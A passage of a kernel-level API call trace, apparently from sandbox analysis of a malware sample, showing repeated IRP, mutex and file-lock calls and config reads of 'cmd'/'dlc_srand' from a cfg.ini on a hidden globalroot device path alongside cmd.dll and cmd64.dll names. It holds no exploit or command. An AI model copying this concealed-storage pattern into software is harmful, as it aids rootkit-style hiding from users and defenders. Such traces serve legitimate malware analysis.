AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003446000 [0120.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.332] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.332] IdePortDispatch () returned 0x103 [0120.332] KeWaitForMutexObject () returned 0x0 [0120.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.333] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.333] IdePortDispatch () returned 0x103 [0120.333] KeWaitForMutexObject () returned 0x0 [0120.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.333] KeLeaveCriticalRegion () [0120.333] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.333] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.333] KeEnterCriticalRegion () [0120.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.333] KeLeaveCriticalRegion () [0120.333] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.334] KeEnterCriticalRegion () [0120.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.334] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.334] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc22b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.334] KeLeaveCriticalRegion () [0120.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.334] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.334] KeEnterCriticalRegion () [0120.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.334] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.334] KeLeaveCriticalRegion () [0120.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.334] ReleaseMutex (hMutex=0xf0) returned 1 [0120.334] Sleep (dwMilliseconds=0x124f80) [0120.348] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.348] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.348] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.348] KeEnterCriticalRegion () [0120.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.348] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.348] IdePortDispatch () returned 0x103 [0120.348] KeWaitForMutexObject () returned 0x0 [0120.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.348] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.348] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.348] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.348] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.348] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.348] KeLeaveCriticalRegion () [0120.348] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.348] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.348] KeEnterCriticalRegion () [0120.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.348] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.348] KeLeaveCriticalRegion () [0120.348] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.348] KeEnterCriticalRegion () [0120.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.348] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.349] IdePortDispatch () returned 0x103 [0120.349] KeWaitForMutexObject () returned 0x0 [0120.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.349] KeLeaveCriticalRegion () [0120.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.349] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.349] KeEnterCriticalRegion () [0120.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.349] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800344b000 [0120.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.349] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.349] IdePortDispatch () returned 0x103 [0120.349] KeWaitForMutexObject () returned 0x0 [0120.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.349] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.349] IdePortDispatch () returned 0x103 [0120.349] KeWaitForMutexObject () returned 0x0 [0120.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.350] KeLeaveCriticalRegion () [0120.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.350] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.350] KeEnterCriticalRegion () [0120.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.350] KeLeaveCriticalRegion () [0120.350] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.350] KeEnterCriticalRegion () [0120.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.350] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.350] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9a00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.350] KeLeaveCriticalRegion () [0120.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.350] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.350] KeEnterCriticalRegion () [0120.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.350] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.350] KeLeaveCriticalRegion () [0120.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.350] ReleaseMutex (hMutex=0xf0) returned 1 [0120.350] Sleep (dwMilliseconds=0x124f80) [0120.354] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.357] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.357] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.357] KeEnterCriticalRegion () [0120.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.357] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.357] IdePortDispatch () returned 0x103 [0120.357] KeWaitForMutexObject () returned 0x0 [0120.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.357] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.357] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.357] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.357] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.357] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc130 [0120.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.357] KeLeaveCriticalRegion () [0120.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.357] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.358] KeEnterCriticalRegion () [0120.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.358] KeLeaveCriticalRegion () [0120.358] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.358] KeEnterCriticalRegion () [0120.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.358] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.358] IdePortDispatch () returned 0x103 [0120.358] KeWaitForMutexObject () returned 0x0 [0120.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.358] KeLeaveCriticalRegion () [0120.358] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.358] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.358] KeEnterCriticalRegion () [0120.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.358] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800344e000 [0120.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.358] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.358] IdePortDispatch () returned 0x103 [0120.358] KeWaitForMutexObject () returned 0x0 [0120.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.359] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.359] IdePortDispatch () returned 0x103 [0120.359] KeWaitForMutexObject () returned 0x0 [0120.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.359] KeLeaveCriticalRegion () [0120.359] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.359] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.359] KeEnterCriticalRegion () [0120.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.359] KeLeaveCriticalRegion () [0120.359] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.359] KeEnterCriticalRegion () [0120.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.359] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.359] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.359] KeLeaveCriticalRegion () [0120.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.360] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.360] KeEnterCriticalRegion () [0120.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.360] ExFreePoolWithTag (P=0xfffffa8003bbc130, Tag=0x0) [0120.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.360] KeLeaveCriticalRegion () [0120.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.360] ReleaseMutex (hMutex=0xf0) returned 1 [0120.360] Sleep (dwMilliseconds=0x124f80) [0120.371] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.371] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.371] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.371] KeEnterCriticalRegion () [0120.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.371] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.371] IdePortDispatch () returned 0x103 [0120.372] KeWaitForMutexObject () returned 0x0 [0120.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.372] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.372] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.372] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.372] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.372] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.372] KeLeaveCriticalRegion () [0120.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.372] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.372] KeEnterCriticalRegion () [0120.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.372] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.372] KeLeaveCriticalRegion () [0120.372] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.372] KeEnterCriticalRegion () [0120.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.372] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.372] IdePortDispatch () returned 0x103 [0120.372] KeWaitForMutexObject () returned 0x0 [0120.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.372] KeLeaveCriticalRegion () [0120.372] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.372] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.373] KeEnterCriticalRegion () [0120.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.373] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003452000 [0120.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.373] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.373] IdePortDispatch () returned 0x103 [0120.373] KeWaitForMutexObject () returned 0x0 [0120.373] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.373] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.373] IdePortDispatch () returned 0x103 [0120.373] KeWaitForMutexObject () returned 0x0 [0120.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.373] KeLeaveCriticalRegion () [0120.373] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.374] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.374] KeEnterCriticalRegion () [0120.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.374] KeLeaveCriticalRegion () [0120.374] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.374] KeEnterCriticalRegion () [0120.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.374] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.374] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, 